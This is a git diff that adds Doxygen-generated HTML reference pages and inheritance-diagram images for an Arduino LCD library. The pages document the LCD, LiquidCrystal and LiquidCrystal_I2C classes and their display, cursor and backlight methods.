+This is the complete list of members for LCD, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
setBacklight(uint8_t value)LCD [inline, virtual]
setBacklightPin(uint8_t value, t_backlighPol pol)LCD [inline, virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_l_c_d.html b/libraries/LiquidCrystal/docs/html/class_l_c_d.html new file mode 100644 index 0000000..a63437a --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_l_c_d.html @@ -0,0 +1,982 @@ + + + + +LCD Library: LCD Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
LCD Class Reference
+
+
+ +

#include <LCD.h>

+
+Inheritance diagram for LCD:
+
+
+ + +LiquidCrystal +LiquidCrystal_I2C +LiquidCrystal_SR +LiquidCrystal_SR2W +LiquidCrystal_SR3W + +
+ +

List of all members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

void autoscroll ()
void backlight (void)
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
void blink ()
void clear ()
void createChar (uint8_t location, uint8_t charmap[])
void cursor ()
void display ()
void home ()
 LCD ()
void leftToRight ()
void moveCursorLeft ()
void moveCursorRight ()
void noAutoscroll ()
void noBacklight (void)
void noBlink ()
void noCursor ()
void noDisplay ()
void off (void)
void on (void)
void rightToLeft ()
void scrollDisplayLeft ()
void scrollDisplayRight ()
virtual void setBacklight (uint8_t value)
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
void setCursor (uint8_t col, uint8_t row)
virtual void write (uint8_t value)

+Protected Attributes

uint8_t _cols
uint8_t _displaycontrol
uint8_t _displayfunction
uint8_t _displaymode
uint8_t _numlines
t_backlighPol _polarity
+

Detailed Description

+
+

Definition at line 169 of file LCD.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
LCD::LCD ()
+
+
+

LiquidCrystal abstract constructor. LiquidCrystal class abstract constructor needed to create the base abstract class.

+ +

Definition at line 49 of file LCD.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
void LCD::autoscroll (void )
+
+
+

Turns on automatic scrolling of the LCD. Turns on automatic scrolling of the LCD. This causes each character output to the display to push previous characters over by one space. If the current text direction is left-to-right (the default), the display scrolls to the left; if the current direction is right-to-left, the display scrolls to the right. This has the effect of outputting each new character to the same location on the LCD.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 271 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::backlight (void )
+
+
+

Switch-on the LCD backlight. Switch-on the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+ +

Definition at line 301 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LCD::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
) [virtual]
+
+
+

LCD initialization. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class.

+

This method is abstract, a base implementation is available common to all LCD drivers. Should it not be compatible with some other LCD driver, a derived implementation should be done on the driver specif class.

+
Parameters:
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]character size, default==LCD_5x8DOTS
+
+
+ +

Reimplemented in LiquidCrystal_I2C.

+ +

Definition at line 76 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::blink ()
+
+
+

Display the cursor of the LCD. Display the blinking LCD cursor. If used in combination with the cursor() function, the result will depend on the particular display.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 226 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::clear ()
+
+
+

Clears the LCD. Clears the LCD screen and positions the cursor in the upper-left corner.

+

This operation is time consuming for the LCD.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 159 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LCD::createChar (uint8_t location,
uint8_t charmap[] 
)
+
+
+

Creates a custom character for use on the LCD. Create a custom character (glyph) for use on the LCD. Most chipsets only support up to eight characters of 5x8 pixels. Therefore, this methods has been limited to locations (numbered 0 to 7).

+

The appearance of each custom character is specified by an array of eight bytes, one for each row. The five least significant bits of each byte determine the pixels in that row. To display a custom character on screen, write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7.

+
Parameters:
+ + + +
location[in]LCD memory location of the character to create (0 to 7)
charmap[in]the bitmap array representing each row of the character.
+
+
+ +

Definition at line 285 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::cursor ()
+
+
+

Display the LCD cursor. Display the LCD cursor: an underscore (line) at the location where the next character will be written.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 213 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::display ()
+
+
+

Turns on the LCD display. Turns on the LCD display, after it's been turned off with noDisplay(). This will restore the text (and cursor location) that was on the display prior to calling noDisplay().

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 201 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::home ()
+
+
+

Sets the cursor to the upper-left corner. Positions the cursor in the upper-left of the LCD. That is, use that location in outputting subsequent text to the display. To also clear the display, use the clear() function instead.

+

This operation is time consuming for the LCD.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 165 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::leftToRight (void )
+
+
+

Set the direction for text written to the LCD to left-to-right. Set the direction for text written to the LCD to left-to-right. All subsequent characters written to the display will go from left to right, but does not affect previously-output text.

+

This is the default configuration.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 244 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::moveCursorLeft (void )
+
+
+

Moves the cursor one space to the left.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 264 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::moveCursorRight (void )
+
+
+

Moves the cursor one space to the right.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 258 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::noAutoscroll (void )
+
+
+

Turns off automatic scrolling of the LCD. Turns off automatic scrolling of the LCD, this is the default configuration of the LCD.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 278 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::noBacklight (void )
+
+
+

Switch-off the LCD backlight. Switch-off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+ +

Definition at line 308 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::noBlink ()
+
+
+

Turns off the blinking of the LCD cursor.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 220 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::noCursor ()
+
+
+

Hides the LCD cursor.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 208 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::noDisplay ()
+
+
+

Turns off the LCD display. Turns off the LCD display, without losing the text currently being displayed on it.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 195 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::off (void )
+
+
+

Switch off the LCD module. Switch off the LCD module, it will switch off the LCD controller and the backlight. This method has the same effect of calling noDisplay and noBacklight.

+
See also:
display,
+
+backlight
+ +

Definition at line 323 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::on (void )
+
+
+

Switch on the LCD module. Switch on the LCD module, it will switch on the LCD controller and the backlight. This method has the same effect of calling display and backlight.

+
See also:
display,
+
+backlight
+ +

Definition at line 315 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::rightToLeft (void )
+
+
+

Set the direction for text written to the LCD to right-to-left. Set the direction for text written to the LCD to right-to-left. All subsequent characters written to the display will go from right to left, but does not affect previously-output text.

+

left-to-right is the default configuration.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 251 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::scrollDisplayLeft (void )
+
+
+

Scrolls the contents of the display (text and cursor) one space to the left.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 233 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::scrollDisplayRight (void )
+
+
+

Scrolls the contents of the display (text and cursor) one space to the right.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 238 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
virtual void LCD::setBacklight (uint8_t value) [inline, virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. The behaviour of this method is very dependent on the device. Some controllers support dimming some don't. Please read the actual header file for each individual device. The setBacklightPin method has to be called before setting the backlight or the adequate backlight control constructor.

+
See also:
setBacklightPin.
+

NOTE: The prefered methods to control the backlight are "backlight" and "noBacklight".

+
Parameters:
+ + +
0..255- the value is very dependent on the LCD. However, BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the backlight on.
+
+
+ +

Reimplemented in LiquidCrystal, LiquidCrystal_I2C, LiquidCrystal_SR, LiquidCrystal_SR2W, and LiquidCrystal_SR3W.

+ +

Definition at line 463 of file LCD.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
virtual void LCD::setBacklightPin (uint8_t value,
t_backlighPol pol 
) [inline, virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This method is device dependent and can be programmed on each subclass. An empty function call is provided that does nothing.

+
Parameters:
+ + + +
value,:pin associated to backlight control.
pol,:backlight polarity control (POSITIVE, NEGATIVE)
+
+
+ +

Reimplemented in LiquidCrystal, LiquidCrystal_I2C, LiquidCrystal_SR, and LiquidCrystal_SR3W.

+ +

Definition at line 444 of file LCD.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LCD::setCursor (uint8_t col,
uint8_t row 
)
+
+
+

Position the LCD cursor. Sets the position of the LCD cursor. Set the location at which subsequent text written to the LCD will be displayed.

+
Parameters:
+ + + +
col[in]LCD column
row[in]LCD row - line.
+
+
+ +

Definition at line 171 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::write (uint8_t value) [virtual]
+
+
+

Writes to the LCD. This method writes character to the LCD in the current cursor position.

+

This is the virtual write method, implemented in the Print class, therefore all Print class methods will end up calling this method.

+
Parameters:
+ + +
value[in]Value to write to the LCD.
+
+
+ +

Definition at line 337 of file LCD.cpp.

+ +
+
+

Member Data Documentation

+ +
+
+ + + + +
uint8_t LCD::_cols [protected]
+
+
+ +

Definition at line 497 of file LCD.h.

+ +
+
+ +
+
+ + + + +
uint8_t LCD::_displaycontrol [protected]
+
+
+ +

Definition at line 493 of file LCD.h.

+ +
+
+ +
+
+ + + + +
uint8_t LCD::_displayfunction [protected]
+
+
+ +

Definition at line 491 of file LCD.h.

+ +
+
+ +
+
+ + + + +
uint8_t LCD::_displaymode [protected]
+
+
+ +

Definition at line 495 of file LCD.h.

+ +
+
+ +
+
+ + + + +
uint8_t LCD::_numlines [protected]
+
+
+ +

Definition at line 496 of file LCD.h.

+ +
+
+ +
+
+ + + + +
t_backlighPol LCD::_polarity [protected]
+
+
+ +

Definition at line 498 of file LCD.h.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h
  • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp
  • +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_l_c_d.png b/libraries/LiquidCrystal/docs/html/class_l_c_d.png new file mode 100644 index 0000000000000000000000000000000000000000..da99cfc6e256ad6e8bd9e747b00e1c400bdc6f36 GIT binary patch literal 870 zcmeAS@N?(olHy`uVBq!ia0y~yV44SH2XHV0$@Z(QK0rz$z$e7@|Ns9$=8HF9OZyK^ z0J6aNz<~p-op!P!?}UpIsYf8KDzQ^|DNlg&x?syT?&4o`DMxS3&Br16faNc z=qS3OE@iuP_Pjv5W6HKqt*Xw=evx+-s6+&&^3UrkzT-3czf947At~5A>2RUd^5t{Z zKiAjP0~_C2f|?v{B<)^GNF23of1xL+NYt?M_ARjf|_ zf>l7~3r#1e9;GjTW?xqPq*ul*W3h#i-L~+-1vZ&4M;e>wSrlY2^Hn`Mu#nf{MJF>t z##y@Hf-rmEV;TG7MfPSg?0ws1?6(UCZ)arhOXtfy;OKuDr1?drRY8oy`3RY?{e2zB zPxm)pTVJ2yT=r6eji=t8zs6YhrLRW$@mnj>``$f0o%yv|v+sP>zMWP!JLb>JT>AK- zeZ9nw$n!pvIG<-;@z&inRo_43>gU%oxx3Sk=!*4syuA5z-pfzAi`KMOI?CL%4fZ;J zKKf|pZChhcvsX8_{$aD-f9~Rv^d5o7o|-YaSHCjNsEhk`VO_f4%TH1DTcc)u@yT+k zWX`*`Ir?W7v-ErG=EZv+%UeW!jaf6}>dW|=pNYF~ElGEJxr*EU%bCnW8zvsvurTN1 zX78ULi|>3n_h`oanBpa`EcKf=e!2doCcf&P`R~^^FSNWeown}zu}{H`IkwxkFI+$G zbMoZ)cbrR~Pd-<*Z9>TA>1&@q`*eBg(IU(C%yF?#rGzvFF5*hN4kFe9Oj%md4gZv_WGWGa_Mk*s)ME3tC@FO zipp2dn|u0v?9T=1@6CE9Ut0J4m08h;X=%Du)9)R=IQNOL`**jPKIOpkZ(TC0_U%$` zs|h^sta5y-#f^^Bg->4YOx~OFva)35vzIr^#oylpikZB=seCr-!H>l + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal Member List
+
+
+This is the complete list of members for LiquidCrystal, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)LiquidCrystal
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal [virtual]
setBacklight(uint8_t value)LiquidCrystal [virtual]
setBacklightPin(uint8_t pin, t_backlighPol pol)LiquidCrystal [virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal.html new file mode 100644 index 0000000..efed1c2 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal.html @@ -0,0 +1,827 @@ + + + + +LCD Library: LiquidCrystal Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
LiquidCrystal Class Reference
+
+
+ +

#include <LiquidCrystal.h>

+
+Inheritance diagram for LiquidCrystal:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)
 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)
 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t value)
void setBacklightPin (uint8_t pin, t_backlighPol pol)
+

Detailed Description

+
+

Definition at line 44 of file LiquidCrystal.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+
+

8 bit LCD constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD.

+ +

Definition at line 55 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+
+ +

Definition at line 62 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7,
uint8_t backlightPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 82 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7,
uint8_t backlightPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 91 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3 
)
+
+
+

4 bit LCD constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD.

+ +

Definition at line 69 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3 
)
+
+
+ +

Definition at line 75 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t backlightPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 100 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t backlightPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 108 of file LiquidCrystal.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters:
+ + +
valueValue to send to the LCD.
+
+
+
Returns:
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +

Definition at line 122 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal::setBacklight (uint8_t value) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin. For dimming control of the backlight, the configuration pin must be a PWM output pin. Dim control is achieved by passing a value from 1 to 255 as a parameter. If the pin configured when calling the setBacklightPin does not support PWM, then: (0) backlight off, (1..255) backlight on.
+
Parameters:
+ + +
value,:backlight value. 0: off, 1..255: dim control of the backlight. For negative logic 255: off, 254..0: dim control.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 165 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal::setBacklightPin (uint8_t pin,
t_backlighPol pol 
) [virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight.

+
Parameters:
+ + + +
pin,:pin assigned to the backlight
pol,:backlight pin control polarity (POSITIVE, NEGATIVE).
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 155 of file LiquidCrystal.cpp.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h
  • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp
  • +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal.png new file mode 100644 index 0000000000000000000000000000000000000000..6b24dede9b207104dd4c46f9b02419458cbd892f GIT binary patch literal 352 zcmeAS@N?(olHy`uVBq!ia0vp^p+FqK!3-qhpPjr7q$C1-LR|m<{|{uoc=NTi|Ih>= z3ycpOIKbL@M;^%KC<*clW&kPzfvcxNjDTYAJzX3_Dj46+y~x+Bz~fq-e&~PwCpn#^ zXXjWf37mdgLSRXIklqh1@3xblX5}x5b7|enaN*Q1zu<+gYnKN^pV;X6N_ORD(}1s* zq3idsd+ZfAeR{t3&ME$6{bkc8HTo_D5@#3Mc`+}UNMC3NB}pWdmz z?`bjIR@@RN{g3tg%k7ieR|p6??0$Ib;8ia{1*On%jCg|yL+~&N*HgM9an2~{bvZX-jP10a@9YN qJKqMEyY~cDyH7NKxOj!+H@1V-!b+`=-hT#qox#)9&t;ucLK6T^;h#wW literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c-members.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c-members.html new file mode 100644 index 0000000..987f1e2 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c-members.html @@ -0,0 +1,127 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_I2C Member List
+
+
+This is the complete list of members for LiquidCrystal_I2C, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LiquidCrystal_I2C [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_I2C(uint8_t lcd_Addr)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_I2C
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_I2C [virtual]
setBacklight(uint8_t value)LiquidCrystal_I2C [virtual]
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_I2C [virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
